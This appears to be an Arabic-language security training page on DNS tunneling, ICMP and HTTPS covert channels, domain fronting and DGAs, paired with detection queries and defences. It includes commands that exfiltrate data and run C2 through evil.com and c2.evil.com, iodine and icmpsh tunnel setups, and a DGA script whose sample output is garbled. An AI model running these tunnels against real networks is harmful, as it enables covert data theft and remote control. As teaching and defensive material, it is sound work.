الفرق الحمراء — الهجومخبير70mL75

DNS Tunneling & Covert Channels — البيانات بتتسرّب وانت مش حاسس

DNS exfil و ICMP/HTTPS tunneling و DGAs و fast flux

#DNS#Tunneling#Exfil#DGA#Iodine

ليه القنوات السرية بتخيف الـ Blue Team؟

سؤال بسيط: إيه البروتوكول اللي مفيش firewall في الدنيا يقدر يقفله؟

HTTPS؟ ممكن — مع TLS inspection.

SMTP؟ ممكن، عند الـ gateway.

DNS؟

لأ. لو قفلت DNS، الإنترنت بظابطه وقع عند الموظفين. مفيش resolution، مفيش office.com، مفيش teams، مفيش حاجة. والأخطر: مفيش أي مدير IT شجاع كفاية يقفله "ليوم واحد" عشان debug. ده بقا قانون كوني.

والـ APTs عارفة ده.

تشبيه — شرح مبسط
زي تهريب رسالة في رحلة ركّاب عادية. ماحدش بيفتّش كل المسافرين. بس الحرف الأول من كل اسم في قائمة الركاب بيهجّى رسالة كاملة. الـ traffic شرعي 100%. الرسالة سرية 100%. والحارس واقف عمال يبص في وشهم وما يتفرّجش على القائمة.
بُص قبل ما تكمل
تشغيل DNS tunnel على شبكة مش بتاعتك = جناية. الدرس ده للـ lab الخاص، أو في نطاق pentest مكتوب وموقّع. مفيش "بس عشان أجرب".
غلطات الـ junior
  • بيفكّر إن "DNS مش مهم" ومش بيلوّجه أصلاً، فلما الكارثة تيجي يكتشف إن مفيش عنده visibility.
  • بيشغّل iodine على tunnel وبيفكّر إنه "متخفّي" — والـ subdomain طوله 60 حرف عشوائي. أي SOC شاطر بيلاقيه في 5 دقايق.
  • بيعمل DGA scoring على scoring واحد بس (entropy)، فالمهاجم اللي بيستخدم dictionary words بيعدّي.
  • بيعتمد على blocklist للدومينات. الـ DGA بيغيّر كل يوم. الـ blocklist لسه من السنة اللي فاتت.

قصة من الواقع — DNSpionage و OilRig

2018-2019. مجموعة OilRig (إيرانية مدعومة) شغّلت حملة DNSpionage ضد جهات حكومية في لبنان والإمارات. الـ malware اسمه DNSpionage بيتواصل مع C2 عبر DNS بس. كل أمر بييجي في TXT record. كل بيانات المسروقة بتطلع في subdomain.

قدّ إيه قعدوا جوه قبل ما حد ياخد باله؟

أشهر. كل firewall كان شايف DNS عادي. كل proxy كان شايف الـ HTTPS بتاع البريد بيشتغل. ماحدش كان بيبص في DNS query strings.

الـ Blue Team لما اكتشفوا، اتضح إن الـ traffic كان بـ MB كل يوم بيخرج من DNS. ولا واحد لاحظ. الـ visibility كانت مفيش.

OPM hack في 2015 (الصينيين سرقوا بيانات 22 مليون موظف فيدرالي) — جزء كبير من الـ exfil كان عبر DNS برضه. سنة كاملة قبل ما يحسّوا.

الـ DNS هو السكة المفضّلة للـ APT لأنها ببساطة بتشتغل.

DNS — السيرفر السحري للمهاجم

  • مسموح دايماً. أي جهاز محتاجه. تقفله = تكسر الإنترنت.
  • Recursive عبر resolver داخلي. حتى لو قفلت الخروج المباشر، الـ resolver بيعمل الشغل بالنيابة عنك.
  • ضوضاء طبيعي عالي. الضوضاء الحقيقية بتخبّي الضوضاء الخبيثة.
  • الـ logs نادراً ما حد بيغوص فيها. أغلب الـ Blue Teams بتجمع NetFlow و proxy logs، بس DNS queries محدش بيبص جواها.

ميكانيكا DNS Tunneling

المهاجم عنده authoritative DNS لـ evil.com. الجهاز المخترق بيبعت الداتا في الـ subdomain:

text
# Exfil — البيانات → subdomain encoded
ZGF0YS10by1leGZpbA.evil.com
[base32-data].evil.com

# Beacon C2 — أوامر تأتي في TXT/CNAME response
$ dig TXT cmd.evil.com
;; ANSWER SECTION:
cmd.evil.com.  60  IN  TXT  "exec:whoami"

الـ resolver الداخلي يحوّل الاستعلام إلى ns.evil.com (الذي يسيطر عليه المهاجم). البيانات تصل عبر هذا الجسر.

$ # مثال عملي بـ iodine (الأقدم و الأشهر)
$ # على الخادم (المهاجم):
$ iodined -f -c -P p4ssw0rd 10.0.0.1 t.evil.com
$ # على العميل (المخترَق):
$ iodine -f -P p4ssw0rd t.evil.com
$ # الآن لديك tunnel كامل عبر DNS فقط — IP routing فوقه

أدوات شائعة

iodine
IP-over-DNS كامل. سرعة معقولة (~100KB/s). كشف سهل من حجم الـ subdomains.
dnscat2
C2 channel فقط (لا full IP). إخفاء أفضل، أبطأ. يُستخدم بكثرة في pentests.
Cobalt Strike DNS Beacon
C2 احترافي. تحكّم بـ A/AAAA/TXT records و معدلات الـ beacon.
DNScat-powershell
تنفيذ بدون binaries — كل شيء PowerShell. مناسب لـ environments محظور فيها downloads.
OOB via DNS (sslip.io / interactsh)
استخراج بيانات من SSRF / blind XSS — نسخة بسيطة، packet واحد لكل قطعة.
Sliver DNS C2
C2 framework حديث مفتوح المصدر، DNS من ضمن transports مدعومة.

HTTPS / HTTP/3 — قناة الجيل الجديد

DNS tunneling قديم. الموجة الحالية: Domain Fronting + HTTPS C2 فوق CDN معروف (CloudFront, Fastly).

text
# Domain Fronting (بات أصعب لكن لا يزال يحدث على بعض CDNs)
# SNI:   cdn.legitimate-site.com    ← ما يراه firewall
# Host:  c2.evil.com                ← ما يصل للـ origin

curl --resolve cdn.legitimate-site.com:443:1.2.3.4 \
  -H "Host: c2.evil.com" \
  https://cdn.legitimate-site.com/
  • الـ TLS مشفّر → يخفي Host header عن middleware عادي.
  • HTTP/3 (QUIC) فوق UDP/443 — كثير من الـ middleboxes لا تفكّه.
  • Encrypted Client Hello (ECH) — يخفي حتى SNI. الموجة القادمة من القنوات السرية.

ICMP و بروتوكولات أخرى

bash
# ICMP tunneling — البيانات في data field من ping
# server
icmpsh-m.py 0.0.0.0

# client (Windows victim)
icmpsh.exe -t 1.2.3.4 -d 500 -b 30 -s 128

# WebSocket — داخل WSS صعب التمييز عن traffic عادي
# SMTP/IMAP — exfil في email drafts (kept on server, never sent)
# NTP — حقول options نادراً ما تُفحص

DGAs — Domain Generation Algorithms

بدلاً من C2 ثابت يسهل حظره، malware يولّد آلاف أسماء نطاقات يومياً. واحد منها فقط مُسجّل من المهاجم. مثال (Conficker):

python
import datetime
import hashlib

def conficker_domains(date, count=250):
    seed = date.strftime("%Y-%m-%d").encode()
    domains = []
    for i in range(count):
        h = hashlib.md5(seed + i.to_bytes(2, 'big')).hexdigest()[:8]
        tld = ['.com','.net','.org','.info','.biz'][i % 5]
        domains.append(h + tld)
    return domains

print(conficker_domains(datetime.date(2026, 4, 30))[:5])
# ['a1b2c3d4.com', '5e6f7g8h.net', ...]

Fast Flux: نفس النطاق يتغيّر IP الخاص به كل بضع دقائق (TTL منخفض، آلاف bots كـ proxy).

الكشف — كيف يصطاد الـ Blue Team هذه

مؤشّرات DNS tunneling
  • Subdomain length — أكثر من 50 حرفاً نادر جداً في DNS طبيعي.
  • Entropy — أسماء عشوائية (e.g. af83hd92lqx) لها entropy عالية. حسابها سهل (Shannon).
  • Query rate — جهاز يستعلم 5000 query لنفس النطاق في ساعة = شاذ.
  • Unique subdomains — >100 unique subs لـ one parent domain من client واحد = إنذار.
  • NXDOMAIN ratio — DGAs تنتج NXDOMAINs كثيرة (نطاقات لم تُسجّل بعد).
  • TXT/NULL records مفرطة — مستخدمة لـ exfil كميات أكبر.
kql
// Microsoft Sentinel — كشف entropy عالي في subdomains
DnsEvents
| where TimeGenerated > ago(1h) and SubType == "LookupQuery"
| extend Subdomain = extract(@"^([^.]+)\.", 1, Name)
| extend Length = strlen(Subdomain)
| where Length > 30
| extend Entropy = todouble(strlen(replace_regex(Subdomain, @"[^a-z0-9]", ""))) / Length
| summarize Queries=count(), AvgLen=avg(Length) by ClientIP, Domain=extract(@"\.([^.]+\.[^.]+)$", 1, Name)
| where Queries > 50 and AvgLen > 30
| order by Queries desc
bash
# Zeek — قواعد دفاعية حول DNS
# zeek-cut من dns.log
cat dns.log.gz | zcat | zeek-cut id.orig_h query | \
  awk '{print $1, length($2)}' | \
  awk '$2 > 50 {count[$1]++} END {for (i in count) if (count[i] > 100) print i, count[i]}'

الحماية — بناء المظلة

  1. DNS مركزي. لا تسمح للـ endpoints بـ DNS مباشر. كل شيء عبر resolver داخلي يسجّل بالكامل.
  2. DNS Firewall (RPZ) — حظر nationally bad TLDs و categories معروفة سيئة.
  3. Threat Intelligence feeds — قائمة DGA domains (DGArchive, dnsdb) → block.
  4. Egress filtering — منع DoH/DoT المباشر (UDP/853, well-known DoH endpoints) إلا للـ resolver.
  5. TLS Inspection حيث ممكن قانونياً — يفكّ Domain Fronting.
  6. Beaconing detection — RITA, Zeek + Spicy تكشف الـ jitter المنتظم.
  7. Anomaly ML — Cloudflare/Akamai/Microsoft Defender for DNS يحوي نماذج جاهزة لـ DGA و tunneling.
MITRE ATT&CK
T1071.004 (Application Layer Protocol: DNS) · T1572 (Protocol Tunneling) · T1568.002 (DGA) · T1132 (Data Encoding) · T1041 (Exfiltration over C2 Channel).

ميدان التدريب — ما تحتاج لتجرّب

  • Lab: domain خاصة بك ($10/سنة)، VPS بسيط، ضحية افتراضية.
  • أدوات: iodine, dnscat2, Sliver، interactsh للـ OOB البسيط.
  • تحليل: Wireshark + Zeek + RITA على الـ pcap.
  • قياس: قارن DNS query rate قبل و أثناء الـ tunnel — هذا يعلّم Blue Team.
الخلاصة الناشفة

مفيش دفاع واحد بيقفل القنوات السرية.

الفلسفة الصحيحة: visibility كاملة على كل egress، baseline لكل host، تنبيه على أي انحراف.

لو ما عندكش DNS logging مركزي، أنت أعمى. مش "عندك ثغرة" — أعمى.

لو DNS بيخرج من endpoints مباشرة لـ 8.8.8.8، أنت بتبيع الـ visibility بإيدك.

الـ DNS tunnel بيبقى ضوضاء فوق ضوضاء. والضوضاء فوق الضوضاء بتبان — بس بس لو في حد بيسمع.